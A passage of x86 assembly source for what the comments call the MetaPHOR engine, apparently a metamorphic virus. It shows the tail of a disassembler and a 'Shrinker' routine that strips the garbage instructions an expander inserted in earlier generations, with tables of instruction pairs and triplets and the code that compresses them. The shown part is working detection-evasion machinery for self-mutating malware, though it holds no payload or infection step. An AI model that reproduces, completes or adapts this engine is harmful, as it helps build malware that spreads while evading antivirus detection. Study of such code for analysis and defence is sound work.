; opcode)
mov eax, [edx] ; Get the opcode
and eax, 7 ; Special opcode?
cmp eax, 4
jz @@ThirdOpcodeUsed ; If so, a third opcode is used
cmp eax, 5 ; Direct memory address?
jz @@DirectMemory ; Jump, then
@@SetBaseRegister:
mov eax, [edx] ; Get the base index
and eax, 7
push edx
mov edx, [edi+1] ; Set it
and edx, 0FFFFFF00h
add eax, edx
pop edx
mov [edi+1], eax
mov eax, [edx] ; Get the type of addition:
and eax, 0C0h
or eax, eax ; No addition?
jz @@NoAddition
cmp eax, 40h ; Byte (with sign extension)?
jz @@ByteAddition
@@DwordAddition:
add ebx, 4 ; Set dword addition (length of 4)
mov eax, [edx+1] ; Get the addition and set it in the
jmp @@SetAddition ; pseudoassembler instruction
@@ByteAddition:
add ebx, 1 ; Set a byte addition (length of 1)
mov eax, [edx+1] ; Get the addition
and eax, 0FFh ; Extend the sign
cmp eax, 7Fh
jbe @@SetAddition
add eax, 0FFFFFF00h
@@SetAddition:
mov [edi+3], eax ; Set the addition value in the instr.
@@NoAddition:
ret ; Return
@@DirectMemory:
mov eax, [edx] ; Get the DWORD of the address
and eax, 0C0h
or eax, eax ; Check if it's EBP
jnz @@SetBaseRegister ; If it's EBP, jump to decode it
jmp @@DwordAddition ; If not, set the addition as a direct
; memory address
;; Here if we use a third opcode
@@ThirdOpcodeUsed:
add ebx, 1 ; Add one more byte to the length
mov eax, [edx+1] ; Get the third opcode
and eax, 38h ; Check the middle index
shr eax, 3
cmp eax, 4 ; If it's ESP then we use only one
jz @@IgnoreScalarRegister
mov ecx, eax ; Get the multiplicator (or scalar)
mov eax, [edx+1] ; from the bits 7&6 of the third
and eax, 0C0h ; opcode, and after that set the
or eax, ecx ; register into the pseudoassembler
push edx ; instruction
mov edx, [edi+2]
and edx, 0FFFFFF00h
and eax, 0FFh
add eax, edx
pop edx
mov [edi+2], eax
@@IgnoreScalarRegister:
mov eax, [edx] ; Get the second opcode
and eax, 0C0h ; Are we adding something?
or eax, eax ; If we don't, EBP in the low bits of
jz @@EBPMeansDwordAddition ; the third opcode means DWORD
mov eax, [edx+1] ; addition
and eax, 7 ; Get the low index at 3rd
push edx
mov edx, [edi+1] ; Set the index at first position
and edx, 0FFFFFF00h ; in the memory struct
add eax, edx
pop edx
mov [edi+1], eax
mov eax, [edx] ; Get the addition from the 2nd opcode
and eax, 0C0h
cmp eax, 40h
jz @@ByteAddition2 ; Byte addition (sign extended)?
@@DwordAddition2:
add ebx, 4 ; Add the DWORD addition length, get
mov eax, [edx+2] ; the addition DWORD and jump.
jmp @@SetAddition2
@@ByteAddition2:
add ebx, 1 ; Set BYTE addition length, get the
mov eax, [edx+2] ; addition BYTE, extend the sign of
and eax, 0FFh ; it and store it
cmp eax, 7Fh
jbe @@SetAddition2
add eax, 0FFFFFF00h
@@SetAddition2:
mov [edi+3], eax ; Store the addition and return
ret
@@EBPMeansDwordAddition:
mov eax, [edx+1] ; Get the low register at 3rd opcode
and eax, 7
cmp eax, 5 ; Check if it's EBP
jz @@DwordAddition2 ; If it isn't, jump to decode only the
push edx ; addition (EBP is a special case in
mov edx, [edi+1] ; this case)
and edx, 0FFFFFF00h
add eax, edx ; If not, set the index register at
pop edx ; the first slot of the index position
mov [edi+1], eax ; in the memory reference structure
ret ; and return.
DecodeMemoryConstruction endp
;;
;;
;; End of the disassembler
;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; KEYWORD: Key_!Shrinker
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;; *********************************************************************** ;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;
;; The Shrinker
;; ------------
;;
;; Required parameters:
;; [InstructionTable] = Pointer to first instruction in instruction table
;; [AddressOfLastInstruction] = The limit of the disassembly
;;
;; This function will eliminate all the obfuscation done by the expander in
;; previous generations. The compression is made by single instructions, pairs
;; or triplets. The work is performed in the pseudo-ASM the disassembler
;; generated, so the modifications are easier.
;;
;; The single, pairs and triplets scanned are the following (extracted from
;; the article I wrote about this engine):
;;
;; ---------------------------------------------------------------------------
;;
;; Legend:
;; Reg: A register
;; Mem: A memory address
;; Imm: Immediate
;;
;; When in an instruction is Reg,Reg or something like that, both are the
;; same register. If they are different, I write it as Reg,Reg2 (for example).
;;
;; Transformations over single instructions:
;;
;; XOR Reg,-1 --> NOT Reg
;; XOR Mem,-1 --> NOT Mem
;; MOV Reg,Reg --> NOP
;; SUB Reg,Imm --> ADD Reg,-Imm
;; SUB Mem,Imm --> ADD Mem,-Imm
;; XOR Reg,0 --> MOV Reg,0
;; XOR Mem,0 --> MOV Mem,0
;; ADD Reg,0 --> NOP
;; ADD Mem,0 --> NOP
;; OR Reg,0 --> NOP
;; OR Mem,0 --> NOP
;; AND Reg,-1 --> NOP
;; AND Mem,-1 --> NOP
;; AND Reg,0 --> MOV Reg,0
;; AND Mem,0 --> MOV Mem,0
;; XOR Reg,Reg --> MOV Reg,0
;; SUB Reg,Reg --> MOV Reg,0
;; OR Reg,Reg --> CMP Reg,0
;; AND Reg,Reg --> CMP Reg,0
;; TEST Reg,Reg --> CMP Reg,0
;; LEA Reg,[Imm] --> MOV Reg,Imm
;; LEA Reg,[Reg+Imm] --> ADD Reg,Imm
;; LEA Reg,[Reg2] --> MOV Reg,Reg2
;; LEA Reg,[Reg+Reg2] --> ADD Reg,Reg2
;; LEA Reg,[Reg2+Reg2+xxx] --> LEA Reg,[2*Reg2+xxx]
;; MOV Reg,Reg --> NOP
;; MOV Mem,Mem --> NOP (result of a compression of
;; PUSH Mem/POP Mem, with pseudoopcode 4F)
;;
;; The instructions that are eliminated (the ones that mean NOP) are be used
;; as garbage along the executable code. Since every NOP instruction can be
;; expanded (for example, MOV Reg,Reg can be set as PUSH Reg/POP Reg, and every
;; PUSH and POP also can be expanded, and so on) you can't know what's garbage
;; and what's not until you have compressed everything.
;;
;; The pairs of instructions that MetaPHOR can compress are:
;;
;; PUSH Imm / POP Reg --> MOV Reg,Imm
;; PUSH Imm / POP Mem --> MOV Mem,Imm
;; PUSH Reg / POP Reg2 --> MOV Reg2,Reg
;; PUSH Reg / POP Mem --> MOV Mem,Reg
;; PUSH Mem / POP Reg --> MOV Reg,Mem
;; PUSH Mem / POP Mem2 --> MOV Mem2,Mem (codificated
;; with pseudoopcode 4F)
;; MOV Mem,Reg/PUSH Mem --> PUSH Reg
;; POP Mem / MOV Reg,Mem --> POP Reg
;; POP Mem2 / MOV Mem,Mem2 --> POP Mem
;; MOV Mem,Reg / MOV Reg2,Mem --> MOV Reg2,Reg
;; MOV Mem,Imm / PUSH Mem --> PUSH Imm
;; MOV Mem,Imm / OP Reg,Mem --> OP Reg,Imm
;; MOV Reg,Imm / ADD Reg,Reg2 --> LEA Reg,[Reg2+Imm]
;; MOV Reg,Reg2 / ADD Reg,Imm --> LEA Reg,[Reg2+Imm]
;; MOV Reg,Reg2 / ADD Reg,Reg3 --> LEA Reg,[Reg2+Reg3]
;; ADD Reg,Imm / ADD Reg,Reg2 --> LEA Reg,[Reg+Reg2+Imm]
;; ADD Reg,Reg2 / ADD Reg,Imm --> LEA Reg,[Reg+Reg2+Imm]
;; OP Reg,Imm / OP Reg,Imm2 --> OP Reg,(Imm OP Imm2)
;; (must be calculated)
;; OP Mem,Imm / OP Mem,Imm2 --> OP Mem,(Imm OP Imm2)
;; (must be calculated)
;; LEA Reg,[Reg2+Imm] / ADD Reg,Reg3 --> LEA Reg,[Reg2+Reg3+Imm]
;; LEA Reg,[(RegX+)Reg2+Imm] / ADD Reg,Reg2 -> LEA Reg,[(RegX+)2*Reg2+Imm]
;; POP Mem / PUSH Mem --> NOP
;; MOV Mem2,Mem / MOV Mem3,Mem2 --> MOV Mem3,Mem
;; MOV Mem2,Mem / OP Reg,Mem2 --> OP Reg,Mem
;; MOV Mem2,Mem / MOV Mem2,xxx --> MOV Mem2,xxx
;; MOV Mem,Reg / CALL Mem --> CALL Reg
;; MOV Mem,Reg / JMP Mem --> JMP Reg
;; MOV Mem2,Mem / CALL Mem2 --> CALL Mem
;; MOV Mem2,Mem / JMP Mem2 --> JMP Mem
;; MOV Mem,Reg / MOV Mem2,Mem --> MOV Mem2,Reg
;; OP Reg,xxx / MOV Reg,yyy --> MOV Reg,yyy
;; Jcc @xxx / !Jcc @xxx --> JMP @xxx (this applies to
;; (Jcc & 0FEh) with (Jcc | 1)
;; NOT Reg / NEG Reg --> ADD Reg,1
;; NOT Reg / ADD Reg,1 --> NEG Reg
;; NOT Mem / NEG Mem --> ADD Mem,1
;; NOT Mem / ADD Mem,1 --> NEG Mem
;; NEG Reg / NOT Reg --> ADD Reg,-1
;; NEG Reg / ADD Reg,-1 --> NOT Reg
;; NEG Mem / NOT Mem --> ADD Mem,-1
;; NEG Mem / ADD Mem,-1 --> NOT Mem
;; CMP X,Y / != Jcc (CMP without Jcc) --> NOP
;; TEST X,Y / != Jcc --> NOP
;; POP Mem / JMP Mem --> RET
;; PUSH Reg / RET --> JMP Reg
;; CALL Mem / MOV Mem2,EAX --> CALL Mem / APICALL_STORE Mem2
;; MOV Reg,Mem / CALL Reg --> CALL Mem
;; XOR Reg,Reg / MOV Reg8,[Mem] --> MOVZX Reg,byte ptr [Mem]
;; MOV Reg,[Mem] / AND Reg,0FFh --> MOVZX Reg,byte ptr [Mem]
;;
;;
;; Maybe there are more, but this set is sufficient, at least for our
;; proposits. What we do know is scan the code for this situations and then we
;; substitute the first instruction by their equivalent and we overwrite with
;; NOP the second, so the instructions are compressed.
;;
;; But there are more: the triplets:
;;
;; MOV Mem,Reg
;; OP Mem,Reg2
;; MOV Reg,Mem --> OP Reg,Reg2
;;
;; MOV Mem,Reg
;; OP Mem,Imm
;; MOV Reg,Mem --> OP Reg,Imm
;;
;; MOV Mem,Imm
;; OP Mem,Reg
;; MOV Reg,Mem --> OP Reg,Imm (it can't be SUB)
;;
;; MOV Mem2,Mem
;; OP Mem2,Reg
;; MOV Mem,Mem2 --> OP Mem,Reg
;;
;; MOV Mem2,Mem
;; OP Mem2,Imm
;; MOV Mem,Mem2 --> OP Mem,Imm
;;
;; CMP Reg,Reg
;; JO/JB/JNZ/JA/JS/JNP/JL/JG @xxx
;; != Jcc --> NOP
;;
;; CMP Reg,Reg
;; JNO/JAE/JZ/JBE/JNS/JP/JGE/JLE @xxx
;; != Jcc --> JMP @xxx
;;
;; MOV Mem,Imm
;; CMP/TEST Reg,Mem
;; Jcc @xxx --> CMP/TEST Reg,Imm
;; Jcc @xxx
;; MOV Mem,Reg
;; SUB/CMP Mem,Reg2
;; Jcc @xxx --> CMP Reg,Reg2
;; Jcc @xxx
;; MOV Mem,Reg
;; AND/TEST Mem,Reg2
;; Jcc @xxx --> TEST Reg,Reg2
;; Jcc @xxx
;; MOV Mem,Reg
;; SUB/CMP Mem,Imm
;; Jcc @xxx --> CMP Reg,Imm
;; Jcc @xxx
;; MOV Mem,Reg
;; AND/TEST Mem,Imm
;; Jcc @xxx --> TEST Reg,Imm
;; Jcc @xxx
;; MOV Mem2,Mem
;; CMP/TEST Reg,Mem2
;; Jcc @xxx --> CMP/TEST Reg,Mem
;; Jcc @xxx
;; MOV Mem2,Mem
;; AND/TEST Mem2,Reg
;; Jcc @xxx --> TEST Mem,Reg
;; Jcc @xxx
;; MOV Mem2,Mem
;; SUB/CMP Mem2,Reg
;; Jcc @xxx --> CMP Mem,Reg
;; Jcc @xxx
;; MOV Mem2,Mem
;; AND/TEST Mem2,Imm
;; Jcc @xxx --> TEST Mem,Imm
;; Jcc @xxx
;; MOV Mem2,Mem
;; SUB/CMP Mem2,Imm
;; Jcc @xxx --> CMP Mem,Imm
;; Jcc @xxx
;; PUSH EAX
;; PUSH ECX
;; PUSH EDX --> APICALL_BEGIN
;;
;; POP EDX
;; POP ECX
;; POP EAX --> APICALL_END
;;----------------------------------------------------------------------------
;;
;; ShrinkCode acts over the disassembled buffer in [InstructionTable].
;;
ShrinkCode proc
mov edi, [ebp+InstructionTable]
mov eax, [edi]
and eax, 0FFh ; Get pseudo-opcode
call CheckIfInstructionUsesMem ; Uses a memory address?
or eax, eax
jz @@Shrink ; If not, continue
call OrderRegs ; Order the indexes of the instruction
; from lower to upper
@@Shrink: mov eax, [edi]
and eax, 0FFh ; Get pseudo-op
cmp eax, 0FFh ; Is it NOP?
jz @@IncreaseEIP ; If so, increase pointer
call ShrinkThisInstructions ; Check for singles, pairs or
; triplets
or eax, eax ; Do we performed a compression?
jz @@IncreaseEIP ; If we don't, increase pointer
call DecreaseEIP ; Decrease the pointer three instructions
call DecreaseEIP ; to get a possible matching group with
call DecreaseEIP ; the two above.
jmp @@Shrink ; Check again
@@IncreaseEIP:
call IncreaseEIP ; Increase pointer
cmp edi, [ebp+AddressOfLastInstruction] ; Last instruction?
jnz @@Shrink ; If not, check next group
@@DecreaseAddressOfLastInstruction:
sub edi, 10h ; Now we eliminate the remaining NOPs
mov eax, [edi] ; at the end of all the instructions.
and eax, 0FFh
cmp eax, 0FFh
jnz @@LastInstructionOK
mov [ebp+AddressOfLastInstruction], edi
jmp @@DecreaseAddressOfLastInstruction
@@LastInstructionOK:
;; Second pass to find APICALL_BEGIN, APICALL_END and SET_WEIGHT
mov edi, [ebp+InstructionTable]
@@FindAPICALL_X:
@@GetFirstInstruction:
call IncreaseEIP2 ; Increase pointer
cmp eax, -1 ; End of instruction table?
jz @@EndOfScan ; If so, finish the search
mov eax, [edi]
and eax, 0FFh
cmp eax, 50h
jnz @@ItsNot_SET_WEIGHT
push edi
mov esi, edi
call IncreaseEIP2
or eax, eax
jnz @@ItsNot_SET_WEIGHT_2
mov eax, [edi]
and eax, 0FFh
cmp eax, 40h
jnz @@ItsNot_SET_WEIGHT_2
mov edx, edi
call IncreaseEIP2
or eax, eax
jnz @@ItsNot_SET_WEIGHT_2
mov eax, [edi]
and eax, 0FFh
cmp eax, 40h
jnz @@ItsNot_SET_WEIGHT_2
mov ecx, edi
call IncreaseEIP2
or eax, eax
jnz @@ItsNot_SET_WEIGHT_2
mov eax, [edi]
and eax, 0FFh
cmp eax, 43h
jnz @@ItsNot_SET_WEIGHT_2
mov ebx, edi
call IncreaseEIP2
or eax, eax
jnz @@ItsNot_SET_WEIGHT_2
mov eax, [edi]
and eax, 0FFh
cmp eax, 58h
jnz @@ItsNot_SET_WEIGHT_2
mov eax, [esi+1]
and eax, 0FFh
mov esi, eax
mov eax, [edx+1]
and eax, 0FFh
cmp eax, esi
jnz @@ItsNot_SET_WEIGHT_2
mov eax, [edi+1]
and eax, 0FFh
cmp eax, esi
jnz @@ItsNot_SET_WEIGHT_2
mov esi, [ecx+1]
and esi, 0FFh
mov eax, [ebx+7]
and eax, 0FFh
cmp eax, esi
jnz @@ItsNot_SET_WEIGHT_2
pop esi
mov eax, 0F7h ; SET_WEIGHT
mov [esi], al
mov eax, [esi+1]
mov [esi+9], al
mov eax, [ebx+1]
mov [esi+1], eax
mov eax, [ebx+3]
mov [esi+3], eax
mov eax, [edx+7]
mov [esi+7], al
mov eax, [ecx+1]
mov [esi+8], al
mov eax, 0FFh
mov [edx], eax
mov [ecx], eax
mov [ebx], eax
mov [edi], eax
jmp @@AllOK
@@ItsNot_SET_WEIGHT_2:
pop edi
@@ItsNot_SET_WEIGHT:
@@AllOK:
@@CheckAPICALL_X:
mov edx, edi ; Save pointer in EDX
push edi
@@GetSecondInstruction:
call IncreaseEIP2 ; Get next
cmp eax, -1 ; End of code?
jz @@EndOfScan ; Finish, then
or eax, eax ; Label over the instruction?
jnz @@EndOfTriplet ; If there's label, ignore the group
mov esi, edi ; Put pointer in ESI
@@GetThirdInstruction:
call IncreaseEIP2 ; Do the same: increase pointer and check
cmp eax, -1 ; for end of code or a label over the
jz @@EndOfScan ; instruction
or eax, eax
jnz @@EndOfTriplet
mov eax, [edx] ; Get the first instruction
and eax, 0FFh
cmp eax, 50h ; PUSH Reg?
jnz @@FindAPICALL_END ; If not, check next instruction
mov eax, [esi] ; Get the second instruction
and eax, 0FFh
cmp eax, 50h ; PUSH Reg?
jnz @@FindAPICALL_END ; If not, next instruction
mov eax, [edi] ; Get the third instruction
and eax, 0FFh
cmp eax, 50h ; PUSH Reg?
jnz @@FindAPICALL_END ; If not, next instruction
mov eax, [edx+1]
and eax, 0FFh
or eax, eax ; First instruction is PUSH EAX?
jnz @@FindAPICALL_END ; If it isn't, it's not APICALL_*
mov eax, [esi+1]
and eax, 0FFh
cmp eax, 1 ; Is it PUSH ECX?
jnz @@FindAPICALL_END ; If not, check other
mov eax, [edi+1]
and eax, 0FFh
cmp eax, 2 ; Is it PUSH EDX
jnz @@FindAPICALL_END ; If not, check other
mov eax, 0F4h ; APICALL_BEGIN
@@SetAPICALL_X:
mov [edx], eax ; Set instruction
mov eax, 0FFh
mov [esi], eax ; NOP the second and third instruction
mov [edi], eax
jmp @@EndOfTriplet ; Check next group
@@FindAPICALL_END:
mov eax, [edx] ; Get the first instruction
and eax, 0FFh
cmp eax, 58h ; POP Reg?
jnz @@EndOfTriplet ; If not, next group
mov eax, [esi] ; Check the second instruction
and eax, 0FFh
cmp eax, 58h ; POP Reg?
jnz @@EndOfTriplet ; If not, next group
mov eax, [edi] ; Get the third instruction
and eax, 0FFh
cmp eax, 58h ; POP Reg?
jnz @@EndOfTriplet ; If not, next group
mov eax, [edx+1]
and eax, 0FFh
cmp eax, 2 ; First instruction = POP EDX?
jnz @@EndOfTriplet ; If not, check next group
mov eax, [esi+1]
and eax, 0FFh
cmp eax, 1 ; Second instruction = POP ECX?
jnz @@EndOfTriplet ; If not, check next group
mov eax, [edi+1]
and eax, 0FFh
or eax, eax ; Third instruction = POP EAX?
jnz @@EndOfTriplet ; If not, check next group
mov eax, 0F5h ; Set APICALL_END
jmp @@SetAPICALL_X
@@EndOfTriplet:
pop edi ; Restore pointer and check next triplet
jmp @@FindAPICALL_X
@@EndOfScan:
pop edi
ret
ShrinkCode endp
;; Function used while we scan for APICALL_BEGIN and APICALL_END
IncreaseEIP2 proc
cmp edi, [ebp+AddressOfLastInstruction]
jz @@EndOfScan
add edi, 10h ; Increase instruction pointer
cmp edi, [ebp+AddressOfLastInstruction]
jz @@EndOfScan ; If we finished the code, return -1
mov eax, [edi] ; Get the instruction
and eax, 0FFh
cmp eax, 0FFh ; If it's NOP, increase again
jz IncreaseEIP2
mov eax, [edi+0Bh] ; Get the label flag
and eax, 0FFh ; Return 1 if the instruction has a
ret ; label pointing to it or 0 if it doesn't have it
@@EndOfScan:
mov eax, -1
ret
IncreaseEIP2 endp
;; Function that decreases the instruction pointer. It will decrease while
;; the instruction is NOP, unless it's the first or it's labelled.
DecreaseEIP proc
@@Again: cmp edi, [ebp+InstructionTable] ; if we are just at the
jz @@OK ; beginning, return
mov eax, [edi+0Bh] ; Check label
and eax, 0FFh ; If the current instruction is labelled,
or eax, eax ; finish the decreasing
jnz @@OK
sub edi, 10h ; Decrease the pointer
mov eax, [edi]
and eax, 0FFh
cmp eax, 0FFh ; Is it NOP?
jz @@Again ; If it is, decrease again
@@OK: ret
DecreaseEIP endp
;; Function that increases the instruction pointer. It will increase until
;; the current instruction isn't NOP or it's the last instruction of the code.
IncreaseEIP proc
mov ecx, [ebp+AddressOfLastInstruction]
cmp edi, ecx ; Pointing to last instruction?
jz @@_End ; If so, end
@@Again: add edi, 10h ; Check next
cmp edi, ecx ; Last instruction?
jz @@_End ; If so, end
mov eax, [edi+0Bh] ; Check if it's labelled
and eax, 0FFh
or eax, eax ; If it's labelled, end increasing
jnz @@End
mov eax, [edi] ; Get instruction
and eax, 0FFh
cmp eax, 0FFh ; If it's NOP, increase again
jz @@Again
@@End: mov eax, [edi]
and eax, 0FFh ; Check if the instruction uses a
call CheckIfInstructionUsesMem ; memory address
or eax, eax
jz @@_End
call OrderRegs ; If it uses a memory address, order the
; indexes
mov eax, [edi] ; Check if the instruction is MOV Mem,Mem
and eax, 0FFh
cmp eax, 4Fh
jnz @@_End
push edi ; If it's MOV Mem,Mem, order the indexes
mov edi, [edi+7] ; of the extended part
call OrderRegs
pop edi
@@_End: ret
IncreaseEIP endp
;; Function to order the indexes in an instruction that uses a memory address.
;; If it has a single index, it's set at +1 (since the disassembler maybe put
;; it at +2 and set a 8 value in +1). If it has a multiplicator, just leave
;; it at +2 (by specifications). If the instruction has two indexes with no
;; multiplicators, put the lower one at +1 and other at +2. In case that the
;; one at +2 has a multiplicator, the indexes are unexchanged.
OrderRegs proc
push edx
mov eax, [edi+1] ; Check the index
and eax, 0FFh
cmp eax, 8 ; If it doesn't exists, check the
jnz @@_Next ; second index
mov eax, [edi+2] ; Get the second index
and eax, 0FFh
cmp eax, 7 ; If it has a scalar modification (*2,
ja @@_End ; *4 or *8) just leave it.
; At this point, +1 is free and +2 holds an index
mov edx, [edi+1] ; Put the index at +1
and edx, 0FFFFFF00h
add eax, edx
mov [edi+1], eax
mov eax, [edi+2] ; Free the position at +2
and eax, 0FFFFFF00h
add eax, 8
mov [edi+2], eax
@@_End: pop edx ; Return
ret
; At this point, we put the lowest at +1. +1 is sure to hold
; a register, so +2 holds another one, 8 (no one) or one with
; multiplicator. In all cases, we can check for the lowest
; number and put it at +1 and we are ordering them (since a
; free position at +2 would be 8, which is always > [+1] or
; would use a scalar, so it would be >= 40h)
@@_Next: mov eax, [edi+2] ; Get the two indexes
mov edx, [edi+1]
and eax, 0FFh
and edx, 0FFh
cmp eax, edx ; If EAX > EDX, they are already ordered
ja @@_End
push eax
mov edx, [edi+2] ; Get the lowest at +2 in EDX
mov eax, [edi+1] ; Get the highest at +1 in EAX
and eax, 0FFh
and edx, 0FFFFFF00h
add eax, edx ; Combine the data
mov [edi+2], eax ; Set the register at +2
pop eax
mov edx, [edi+1] ; Get the DWORD at +1 (keep all info)
and edx, 0FFFFFF00h
add eax, edx ; Merge it with the lowest register
mov [edi+1], eax ; Set it at +1
pop edx
ret ; Return with the indexes ordered
OrderRegs endp
; EDI = Instruction pointer
; ECX = Address of last instruction
; returns:
; EAX != 0 if compressed, EAX = 0 if left unchanged
ShrinkThisInstructions proc
;;; Single instructions. The instructions are converted to their equivalent
;;; from the obfuscated form. In this way we also make easier the search of
;;; pairs and triplets.
push edi
@@Check_Single:
mov eax, [edi]
and eax, 0FFh
cmp eax, 30h ; Check XOR Reg,Imm
jnz @@Single_Next00
mov ecx, 0E0h ; Maybe it's NOT Reg
@@Single_Next_CommonXOR_s1:
mov eax, [edi+7] ; Get the Imm
@@Single_Next_CommonXOR_s1_2:
cmp eax, -1 ; Check if it's -1
jz @@Single_SetInstructionECX ; If it is, set opcode <ECX>
@@Single_Next_CheckNulOP:
or eax, eax ; Check if it's XOR with 0
jnz @@Single_End
jmp @@Single_SetNOP ; If it's 0, set a NOP
@@Single_SetInstructionECX:
mov eax, ecx ; Set the opcode in <ECX>
jmp @@Single_SetInstruction
@@Single_Next00:
;mov al, [edi]
cmp eax, 34h ; Check XOR Mem,Imm
jnz @@Single_Next00_
mov ecx, 0E1h ; Set NOT Mem if Imm == -1
jmp @@Single_Next_CommonXOR_s1
@@Single_Next00_:
cmp eax, 4Bh ; Check TEST Mem,Reg
jnz @@Single_Next00__
mov eax, 4Ah ; If it is, set TEST Reg,Mem (the other
jmp @@Single_SetInstruction ; possibility doesn't exist)
@@Single_Next00__:
cmp eax, 4Bh+80h ; Check TEST Mem,Reg (8 bits)
jnz @@Single_Next01
mov eax, 4Ah+80h ; It it is, set TEST Reg,Mem (8 bits)
jmp @@Single_SetInstruction
@@Single_Next01:
;mov al, [edi]
cmp eax, 30h+80h ; XOR Reg8,Imm8?
jnz @@Single_Next02
mov ecx, 0E2h ; Set NOT if Imm8 == -1
@@Single_Next01_GetSigned:
mov eax, [edi+7]
and eax, 0FFh
cmp eax, 80h
jb @@Single_Next01_NotSigned
add eax, 0FFFFFF00h
@@Single_Next01_NotSigned:
jmp @@Single_Next_CommonXOR_s1_2
@@Single_Next02:
;mov al, [edi]
cmp eax, 34h+80h ; XOR Mem8,Imm8?
jnz @@Single_Next03
mov ecx, 0E3h ; Set NOT if Imm8 == -1
jmp @@Single_Next01_GetSigned
@@Single_Next03:
;mov al, [edi]
cmp eax, 41h ; MOV Reg,Reg?
jnz @@Single_Next04
@@Single_Next_CommonMOV:
mov eax, [edi+1] ; Check if source and destiny are
mov ecx, [edi+7] ; the same
and eax, 0FFh
and ecx, 0FFh
cmp eax, ecx ; If they are, set NOP
jnz @@Single_End
@@Single_SetNOP:
mov eax, 0FFh
@@Single_SetInstruction:
mov ecx, [edi] ; Get the DWORD at [EDI]
and ecx, 0FFFFFF00h
and eax, 0FFh ; Set 0FF on the lower byte (set NOP)
add eax, ecx
mov [edi], eax ; Write back the DWORD
jmp @@EndCompressed
@@Single_Next04:
;mov al, [edi]
cmp eax, 41h+80h ; MOV Reg8,Reg8?
jz @@Single_Next_CommonMOV
@@Single_Next05:
;mov al, [edi]
cmp eax, 28h ; SUB Reg,Imm?
jnz @@Single_Next06
xor ecx, ecx ; Just put ADD
@@Single_Next_NegateImm:
mov eax, [edi+7] ; Negate the Imm
neg eax
mov [edi+7], eax
jmp @@Single_SetInstructionECX ; Set the opcode of ADD
@@Single_Next06:
;mov al, [edi]
cmp eax, 28h+80h ; SUB Reg8,Imm8?
jnz @@Single_Next07
mov ecx, 00h+80h ; Set the opcode of ADD Reg8,Imm8
jmp @@Single_Next_NegateImm ; Jump to negate the Imm
@@Single_Next07:
;mov al, [edi]
cmp eax, 2Ch ; SUB Mem,Imm?
jnz @@Single_Next08
mov ecx, 04h ; Set ADD Mem,-Imm
jmp @@Single_Next_NegateImm
@@Single_Next08:
;mov al, [edi]
cmp eax, 2Ch+80h ; SUB Mem8,Imm8?
jnz @@Single_Next09
mov ecx, 04h+80h ; Set ADD Mem8,-Imm8
jmp @@Single_Next_NegateImm
@@Single_Next09:
;mov al, [edi]
or eax, eax ; ADD Reg,Imm?
jnz @@Single_Next10
@@Single_Next_CheckNulOP_2:
mov eax, [edi+7] ; Check if it's ADD Reg,0. If it is,
jmp @@Single_Next_CheckNulOP ; anulate the instruction
@@Single_Next10:
cmp eax, 4 ; ADD Mem,Imm?
jz @@Single_Next_CheckNulOP_2 ; If it is, check for Imm==0
cmp eax, 04h+80h ; ADD Mem8,Imm8?
jz @@Single_Next_CheckNulOP_2_8b ; Check for Imm8 == 0
cmp eax, 0Ch ; OR Mem,Imm?
jz @@Single_Next_CheckNulOP_2 ; Check for Imm == 0
cmp eax, 0Ch+80h ; OR Mem8,Imm8?
jz @@Single_Next_CheckNulOP_2_8b ; Check for Imm8 == 0
cmp eax, 24h+80h ; AND Mem8,Imm8?
jz @@Single_Next10_Check_s1_8b ; Check for Imm8 == -1 or 0
cmp eax, 24h ; AND Mem,Imm?
jnz @@Single_Next10_ ; Check for Imm == -1 or 0
@@Single_Next10_Check_s1:
mov eax, [edi+7] ; Get Imm
cmp eax, -1
jz @@Single_SetNOP ; If Imm == -1, set NOP
or eax, eax
jnz @@Single_End ; If Imm == 0,
mov eax, 44h ; set MOV Mem,0
jmp @@Single_SetInstruction
@@Single_Next10_Check_s1_8b:
mov eax, [edi+7]
and eax, 0FFh
cmp eax, 0FFh ; Check if Imm8 == -1
jz @@Single_SetNOP ; If it is, set NOP
or eax, eax ; Check if Imm8 == 0
jnz @@Single_End ; If it isn't, check doubles
mov eax, 44h+80h ; Set MOV Mem8,0
jmp @@Single_SetInstruction
@@Single_Next10_:
;mov al, [edi]
cmp eax, 00h+80h ; ADD Reg8,Imm8?
jnz @@Single_Next11
@@Single_Next_CheckNulOP_2_8b:
;xor eax, eax
mov eax, [edi+7] ; Get the Imm and go to check if it's 0
and eax, 0FFh
jmp @@Single_Next_CheckNulOP
@@Single_Next11:
;mov al, [edi]
cmp eax, 08h ; OR Reg,Imm?
jz @@Single_Next_CheckNulOP_2 ; Check if Imm is 0
@@Single_Next12:
;mov al, [edi]
cmp eax, 08h+80h ; OR Reg8,Imm8?
jz @@Single_Next_CheckNulOP_2_8b ; Check if is 0
@@Single_Next13:
;mov al, [edi]
cmp eax, 20h ; AND Reg,Imm?
jnz @@Single_Next14
mov eax, [edi+7] ; Check if Imm == -1
cmp eax, -1
jz @@Single_SetNOP ; If it is, set NOP
or eax, eax
jnz @@Single_End
mov eax, 40h ; If it's 0, set MOV Reg,0
jmp @@Single_SetInstruction
@@Single_Next14:
;mov al, [edi]
cmp eax, 20h+80h ; AND Reg8,Imm8?
jnz @@Single_Next15
mov eax, [edi+7] ; Get Imm8
and eax, 0FFh
cmp eax, 0FFh ; Check if it's -1
jz @@Single_SetNOP ; If it is, set NOP
or eax, eax
jnz @@Single_End ; Check if it's 0
mov eax, 40h+80h ; If it is, set MOV Reg,0
jmp @@Single_SetInstruction
@@Single_Next15:
;mov al, [edi]
cmp eax, 31h ; XOR Reg,Reg?
jnz @@Single_Next16
@@Single_Next_CheckSetTo0:
mov ecx, 40h ; Set ECX = pseudoopcode of MOV
@@Single_Next_CheckSetTo0_2:
mov eax, [edi+1] ; Check if source == destiny
mov ebx, [edi+7]
and eax, 0FFh
and ebx, 0FFh
cmp eax, ebx ; If they are equal...
jnz @@Single_End ; ...
xor eax, eax ; ...set MOV Reg,0
mov [edi+7], eax
jmp @@Single_SetInstructionECX
@@Single_Next16:
;mov al, [edi]
cmp eax, 31h+80h ; XOR Reg8,Reg8?
jnz @@Single_Next17
@@Single_Next_CheckSetTo0_8b:
mov ecx, 40h+80h ; Check if source == destiny and put
